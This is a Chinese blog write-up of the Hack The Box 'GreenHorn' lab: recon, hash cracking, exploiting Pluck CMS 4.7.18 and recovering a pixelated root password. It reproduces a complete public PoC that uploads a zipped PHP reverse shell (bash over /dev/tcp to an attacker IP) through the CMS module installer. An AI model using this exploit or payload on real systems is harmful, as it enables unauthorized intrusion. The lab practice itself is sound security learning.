HTB GreenHorn (源码审计、PDF修复) 随笔

news/2025/2/28 19:36:14/文章来源:https://www.cnblogs.com/QiSamaQwQ/p/18743922

一、端口信息扫描
Spawn Machine后拿到了IP,先nmap扫一下,输入nmap -sV -sC -v 10.10.11.25 -Pn

探到了22,80,3000端口,并且可以发现80端口重定向到了http://greenhorn.htb/页面
输入vim /etc/hosts打开一下hosts文件,添加10.10.11.25 greenhorn.htb

再探测一下子域名,看看有没有可以利用的东西

二、web渗透
访问一下10.10.11.25,发现是一个pluck的CMS

点一下下方的admin按钮,发现需要密码,并且pluckCMS的版本为4.7.18

好吧,那就去先看看有没有现成的能有的漏洞。在exploit-db查询pluck 4.7.18,发现存在一个RCE漏洞,能通过上传压缩包文件进行提权,但是要怎么登陆进去呢?
突然想到了前面还有一个3000端口,或许可以去看一下
点一下左上角的探索(explore)

疑似是源码的样子
翻阅一下代码,发现了密码的位置以及密码的加密方式为sha512
发现密码
用hashcat破解一下,hashcat -a 0 -m 1700 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' /usr/share/wordlists/rockyou.txt,得到密码iloveyou1

三、获取立足点
回到80端口,登录
登录后,通过前面发现的RCE漏洞,利用一个网上找到的现成的poc

点击查看代码
#!/usr/bin/python3
import os
import zipfile
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparsedef create_payload(ip_attack, port_attack):print('[+] Creating payload')return f"<?php echo system(\"bash -c 'exec bash -i &>/dev/tcp/{ip_attack}/{port_attack} <&1'\")?>"def create_file(ip, port, file_name_php):payload_content = create_payload(ip, port)print(f"[+] {'Creating' if not os.path.exists(file_name_php) else 'Overwriting'} .php file")with open(file_name_php, 'w') as payload_file:payload_file.write(payload_content)return file_name_phpdef create_zip(file):zip_file_name = 'malicious_file.zip'print('[+] Creating ZIP file')with zipfile.ZipFile(zip_file_name, 'w') as zipf:zipf.write(file)return zip_file_namedef upload_zip_malicious(file_name_zip, host, password,file_name_php):login_url = f"{host}/login.php"upload_url = f"{host}/admin.php?action=installmodule"headers = {"Referer": login_url}login_payload = {"cont1": password, "bogus": "", "submit": "Log in"}with requests.Session() as session:login_response = session.post(login_url, headers=headers, data=login_payload)if login_response.status_code == 200:print("Login successful")with open(file_name_zip, "rb") as f:multipart_data = MultipartEncoder(fields={"sendfile": ("mirabbas.zip", f, "application/zip"),"submit": "Upload"})upload_headers = {"Referer": upload_url,"Content-Type": multipart_data.content_type}upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)if upload_response.status_code == 200:print("[+] ZIP file uploaded successfully")else:print("[+] Error uploading ZIP file. Response code:", upload_response.status_code)else:print("[+] Login failed. Response code:", login_response.status_code)rce_url = f"{host}/data/modules/mirabbas/{file_name_php}"rce_response = session.get(rce_url)#print(rce_response.text)def main():parser = argparse.ArgumentParser(description='Script to create and upload a malicious ZIP file.')parser.add_argument('--password', required=True, help='Password login')parser.add_argument('--filename', default='malicious.php', help='Name of the PHP file to be created')parser.add_argument('--ip', required=True, help='Attack IP ')parser.add_argument('--port', required=True, help='Attack Port')parser.add_argument('--host', required=True, help='Target host URL')args = parser.parse_args()file = create_file(args.ip, args.port, args.filename)zip_file = create_zip(file)upload_zip_malicious(zip_file, args.host, args.password,args.filename)if __name__ == '__main__':main()
输入`python 51592.py --password iloveyou1 --ip IP地址 --port 端口号 --host http://greenhorn.htb`,成功连接![](https://img2024.cnblogs.com/blog/3611334/202502/3611334-20250228185018489-1814431624.png) 尝试寻找user的flag![](https://img2024.cnblogs.com/blog/3611334/202502/3611334-20250228185317874-978711131.png) 结果无法直接访问![](https://img2024.cnblogs.com/blog/3611334/202502/3611334-20250228185415693-736016593.png) 好吧,看来还得再试试

四、userFlag
前面说到hashcat跑出来一个iloveyou1的密码,也许会是用户密码,同时想到3000端口所标注的用户为junior,尝试登录一下

果然登录成功,输入python3 -c 'import pty;pty.spawn("/bin/bash")'进入交互模式,获取一下userFlag

五、rootFlag
先看看有没有什么能够利用的命令sudo -l

好吧,junior先生没什么特权。那么只能看看配置文件或者看看有没有什么其他的值得一看的东西了

在junior目录下发现一个'Using OpenVAS.pdf',很奇怪的东西,在靶机上输入python3 -m http.server 8000开放端口,然后在攻击机上输入wget http://10.10.11.25:8000/'Using OpenVAS.pdf' -O 'Using OpenVAS.pdf' 下载这份pdf文件,打开看看是什么东西
哦?使用sudo /usr/sbin/openvas不需要密码,难道说?
额,好吧,看来并不是这样。那么看来只能试试能不能通过修复pdf文件了,将OpenVAS.pdf重命名成greenhorn.pdf,然后使用pdfimages提取PDF图片pdfimages greenhorn.pdf ./root,然后使用Depix脚本进行像素修复还原https://github.com/spipm/Depixelization_poc,输入python3 depix.py -p ../-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o ../root.png
修复成功,虽然模糊,但是也能看出来,密码为sidefromsidetheothersidesidefromsidetheotherside(够长的...)
接下来就可以尝试登录一下root用户了
登录成功,那么就只剩最后一步了,切换到root目录,查看rootFlag

到此告一段落,作为一个easy难度的靶场,确实不算难,还算好玩的靶机

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/891301.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CS144 Lab2

CS144 Lab2 开始有点痛苦了,因为文档给的并不全面,光读文档是没法覆盖所有的test case的,有太多的业务逻辑要自己考虑。接下来分别就几个难点总结一下: SYN/FIN 有几种情况要特判:当前没收到过SYN,要拒绝所有的segment 当前收到过SYN了,又收到了新的SYN,这得拒绝 当前收…

msyql三表命令

一、建表 create table student( stu_no int, stu_name varchar(10), sex char(1), age int(3), edit varchar(20) ) DEFAULT charset=utf8; insert into student values (1,wang,男,21,hello), (2,小明,女,22,haha2), (3,hu,女,23,haha3), (4,li,男,25,haha4); create table …

活动报名:Voice Agent 技术现状及应用展望丨 3.8 北京

「人人发言,所有人向所有人学习!」——Z 沙龙「一起探索下一代语音驱动的人机交互界面。」——RTE 开发者社区3 月 8 日周六下午,北京,「智谱 Z 计划&Z Fund」和「RTE 开发者社区」将合办一场 Voice Agent 主题的线下活动。多家语音模型的技术负责人,多个落地场景(AI…

Advance Installer Appium环境配置

安装参数文件同步环境变量 Path = [python_Dir];[NodeJS_Dir];[AndroidSDK_Dir];[redis_Dir]

2月solar月赛wp

2025年Solar应急响应公益月赛-2月暗链排查-1 网站被劫持,被跳转到外部网站,请分析外部原因。本题提供两个端口:第一个端口为ssh端口默认密码为solar@202502第二个端口为被劫持的web服务,路径为 /projectA/index.jsp做的时候,跳转到/projectA/home有一串js代码 拿出里面那串…

谷歌地图案例 | 为服务不足的银行客户提供优质服务

谷歌地图占全球导航市场67%,重塑空间运行。Current银行用谷歌地图平台提供精确定位,为“银行服务不足”群体改善财务状况,商家和客户均受益。据Statista最新数据显示,谷歌地图以67%的全球导航市场份额构建起数字时代的基础设施霸权。这项始于2005年的地理信息服务,已完成从…

解决在Ubuntu中用conda配置环境和下载依赖缓慢问题(重点:mamba)

前情:背景:在重现text2cad文章的过程中,通过environment.yml下载环境和依赖(包括pythonocc-core,pytorch等需要conda安装的包)开发环境:Ubuntu待下载的包: 官方environment.yml中要求的包及对应版本要求(之后会根据我的cuda驱动版本等其他问题,对包的版本进行调整):de…

又一款免费的资产设备管理软件 - WGFIX

WGFIX是wgcloud团队最近发布的一个资产管理系统,免费开源,而且使用非常简单,部署也很方便,非常适合中小企业使用的一款IT资产设备管理系统 下载:www.wgstart.com WGFIX资产设备管理系统是私有化部署的B/S系统,只需要在本地搭建好WGFIX后,所有用户都通过浏览器来访问使用…

4D毫米波雷达

4D毫米波雷达平台产品MRR610 & SRR610是经纬恒润新设计推出的第六代毫米波雷达平台产品,平台选用业内高集成度的SoC解决方案,可为客户提供高性价比雷达单品和多雷达融合解决方案。 4D毫米波雷达平台产品MRR610 & SRR610是经纬恒润新设计推出的第六代毫米波雷达…

学习备忘-不删除32位Office安装AccessDataEngine 64位版本(共存)

一、Access database engine是什么Access database engine是微软官方推出的一款功能强大的数据库引擎可再发型程序包,主要用于access数据库调用引擎,方便office系统文件和office应用程序之间的数据传输。 二、Access Database EngineMicrosoft Access Database Engine 64位是…

AI程序员入场!揭秘直播吧研发效能大提升的秘密武器

直播吧自2007年成立以来,一直走在体育赛事直播与资讯服务领域的前沿。作为国内知名的体育赛事直播与资讯平台,直播吧始终以“让体育爱好者更便捷地获取赛事信息和观看直播”为使命,致力于通过其APP、网站等渠道,为用户提供全面的体育赛事直播、新闻资讯、数据分析等服务。服…

第一章 使用基于类的视图(class-based view)创建网页App

实践二 —— 使用基于类的视图(class-based view)创建网页App 1. 完成实践一的环境部署2. 进入虚拟环境pipenv shell3. 创建一个名为home的apppython manage.py startapp home此时文件目录如下:4. 将home添加到my_project/settings.py文件中INSTALLED_APPS = [django.contri…